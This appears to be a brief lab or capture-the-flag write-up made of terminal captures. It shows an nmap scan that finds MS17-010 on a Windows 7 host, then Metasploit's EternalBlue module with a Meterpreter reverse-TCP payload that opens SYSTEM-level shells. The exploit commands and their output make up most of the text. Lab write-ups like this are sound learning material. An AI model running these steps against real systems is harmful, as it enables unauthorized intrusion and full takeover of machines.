Documentation

```
┌──(romayana㉿Kali)-[~/Documents]
└─$ nmap -sV --script vuln 10.201.50.148
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-06 13:52 WIB
Nmap scan report for 10.201.50.148
Host is up (0.32s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds   Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ms-wbt-server?
|_ssl-ccs-injection: No reply from server (TIMEOUT)
49152/tcp open  msrpc          Microsoft Windows RPC
49153/tcp open  msrpc          Microsoft Windows RPC
49154/tcp open  msrpc          Microsoft Windows RPC
49158/tcp open  msrpc          Microsoft Windows RPC
49159/tcp open  msrpc          Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 203.40 seconds
```

Scanning service detail and vulnerability

```
┌──(romayana㉿Kali)-[~/Documents]
└─$ msfconsole
Metasploit tip: Use sessions -1 to interact with the last opened session

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM                       MMMMMMMMMMM
MMMN$                                 vMMMM
MMMNl  MMMMM                   MMMMM  JMMMM
MMMNl  MMMMMMMN               NMMMMMMM  JMMMM
MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
MMMMMMMMMNm,             eMMMMMNMMNMM
MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
        https://metasploit.com

      =[ metasploit v6.4.96-dev                          ]
+ -- --=[ 2,568 exploits - 1,313 auxiliary - 1,683 payloads     ]
+ -- --=[ 433 post - 49 encoders - 13 nops - 9 evasion          ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
```

Running Metasploit Framework

```
msf > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) >
```

Running Path service

```
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.201.113.139
RHOSTS => 10.201.113.139
msf exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         10.201.113.139   yes       The target host(s), see https://docs.metasploit.com/doc
                                             s/using-metasploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication
                                             . Only affects Windows Server 2008 R2, Windows 7, Windo
                                             ws Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. On
                                             ly affects Windows Server 2008 R2, Windows 7, Windows E
                                             mbedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects
                                              Windows Server 2008 R2, Windows 7, Windows Embedded St
                                             andard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.126.128  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target
```

Setting RHOSTS & LHOST

```
msf exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.126.128:4444
[*] 10.201.113.139:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.201.113.139:445    - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Servi
ce Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.23/lib/recog/fingerprint/regex
p_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expressi
on
[*] 10.201.113.139:445    - Scanned 1 of 1 hosts (100% complete)
[+] 10.201.113.139:445 - The target is vulnerable.
[*] 10.201.113.139:445 - Connecting to target for exploitation.
[+] 10.201.113.139:445 - Connection established for exploitation.
[+] 10.201.113.139:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.201.113.139:445 - CORE raw buffer dump (42 bytes)
[*] 10.201.113.139:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.201.113.139:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.201.113.139:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.201.113.139:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.201.113.139:445 - Trying exploit with 12 Groom Allocations.
[*] 10.201.113.139:445 - Sending all but last fragment of exploit packet
[*] 10.201.113.139:445 - Starting non-paged pool grooming
[+] 10.201.113.139:445 - Sending SMBv2 buffers
[+] 10.201.113.139:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.201.113.139:445 - Sending final SMBv2 buffers.
[*] 10.201.113.139:445 - Sending last fragment of exploit packet!
[*] 10.201.113.139:445 - Receiving response from exploit packet
```

```
on
[*] 10.201.23.140:445     - Scanned 1 of 1 hosts (100% complete)
[+] 10.201.23.140:445 - The target is vulnerable.
[*] 10.201.23.140:445 - Connecting to target for exploitation.
[+] 10.201.23.140:445 - Connection established for exploitation.
[+] 10.201.23.140:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.201.23.140:445 - CORE raw buffer dump (42 bytes)
[*] 10.201.23.140:445 - 0×00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.201.23.140:445 - 0×00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.201.23.140:445 - 0×00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.201.23.140:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.201.23.140:445 - Trying exploit with 12 Groom Allocations.
[*] 10.201.23.140:445 - Sending all but last fragment of exploit packet
[*] 10.201.23.140:445 - Starting non-paged pool grooming
[+] 10.201.23.140:445 - Sending SMBv2 buffers
[+] 10.201.23.140:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.201.23.140:445 - Sending final SMBv2 buffers.
[*] 10.201.23.140:445 - Sending last fragment of exploit packet!
[*] 10.201.23.140:445 - Receiving response from exploit packet
[+] 10.201.23.140:445 - ETERNALBLUE overwrite completed successfully (0×C000000D)!
[*] 10.201.23.140:445 - Sending egg to corrupted connection.
[*] 10.201.23.140:445 - Triggering free of corrupted buffer.
[*] Sending stage (230982 bytes) to 10.201.23.140
[*] Sending stage (230982 bytes) to 10.201.23.140
[*] Sending stage (230982 bytes) to 10.201.23.140
[*] Sending stage (230982 bytes) to 10.201.23.140
[*] Sending stage (230982 bytes) to 10.201.23.140
[*] Sending stage (230982 bytes) to 10.201.23.140
[*] Sending stage (230982 bytes) to 10.201.23.140
[*] Sending stage (230982 bytes) to 10.201.23.140
[*] Sending stage (230982 bytes) to 10.201.23.140
[*] Sending stage (230982 bytes) to 10.201.23.140
[*] Sending stage (230982 bytes) to 10.201.23.140
[*] Sending stage (230982 bytes) to 10.201.23.140
[*] Sending stage (230982 bytes) to 10.201.23.140
[+] 10.201.23.140:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.201.23.140:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.201.23.140:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 2 opened (10.23.204.76:4444 → 10.201.23.140:49187) at 2025-11-06 18:21:34 +07
00
[*] Meterpreter session 1 opened (10.23.204.76:4444 → 10.201.23.140:49188) at 2025-11-06 18:21:34 +07
00

meterpreter > [*] Meterpreter session 3 opened (10.23.204.76:4444 → 10.201.23.140:49185) at 2025-11-0
6 18:21:48 +0700
```

Exploit

```
C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>pwd
pwd
'pwd' is not recognized as an internal or external command,
operable program or batch file.

C:\Windows\system32>ls
ls
'ls' is not recognized as an internal or external command,
operable program or batch file.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>hostname
hostname
Jon-PC

C:\Windows\system32>systeminfo
systeminfo

Host Name:                 JON-PC
OS Name:                   Microsoft Windows 7 Professional
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
```

System has compromised